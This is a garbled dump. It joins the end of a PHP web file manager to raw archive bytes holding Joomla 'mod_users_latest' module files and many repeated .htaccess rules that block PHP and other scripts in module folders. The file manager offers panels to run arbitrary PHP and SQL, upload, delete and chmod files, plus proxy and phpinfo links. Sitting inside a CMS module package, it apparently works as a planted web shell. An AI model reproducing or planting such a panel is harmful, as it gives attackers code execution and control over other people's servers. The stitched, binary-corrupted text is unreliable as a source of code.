				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�!3ymod_users_latest/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_users_latest
 *
 * @since  1.6
 */
class ModUsersLatestHelper
{
	/**
	 * Get users sorted by activation date
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  array  The array of users
	 *
	 * @since   1.6
	 */
	public static function getUsers($params)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('a.id', 'a.name', 'a.username', 'a.registerDate')))
			->order($db->quoteName('a.registerDate') . ' DESC')
			->from('#__users AS a');
		$user = JFactory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->join('LEFT', '#__user_usergroup_map AS m ON m.user_id = a.id')
				->join('LEFT', '#__usergroups AS ug ON ug.id = m.group_id')
				->where('ug.id in (' . implode(',', $groups) . ')')
				->where('ug.id <> 1');
		}

		$db->setQuery($query, 0, $params->get('shownumber', 5));

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}
	}
}
PK!g�=�%%%mod_users_latest/mod_users_latest.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\UsersLatest\Site\Helper\UsersLatestHelper;

$shownumber = $params->get('shownumber', 5);
$names      = UsersLatestHelper::getUsers($params);

require ModuleHelper::getLayoutPath('mod_users_latest', $params->get('layout', 'default'));
PK!��:Շ	�	%mod_users_latest/mod_users_latest.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_users_latest</name>
	<author>Joomla! Project</author>
	<creationDate>December 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_USERS_LATEST_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\UsersLatest</namespace>
	<files>
		<filename module="mod_users_latest">mod_users_latest.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_users_latest.ini</language>
		<language tag="en-GB">language/en-GB/mod_users_latest.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="shownumber"
					type="number"
					label="MOD_USERS_LATEST_FIELD_NUMBER_LABEL"
					default="5"
					filter="integer"
				/>

				<field
					name="filter_groups"
					type="radio"
					label="MOD_USERS_LATEST_FIELD_FILTER_GROUPS_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!v�<G��!mod_users_latest/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if (!empty($names)) : ?>
	<ul class="mod-userslatest latestusers mod-list">
	<?php foreach ($names as $name) : ?>
		<li>
			<?php echo $name->username; ?>
		</li>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>
PK!�)��mod_search/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_search/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_custom/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_custom/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)�� mod_articles_news/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_articles_news/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_banners/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_banners/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_whosonline/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
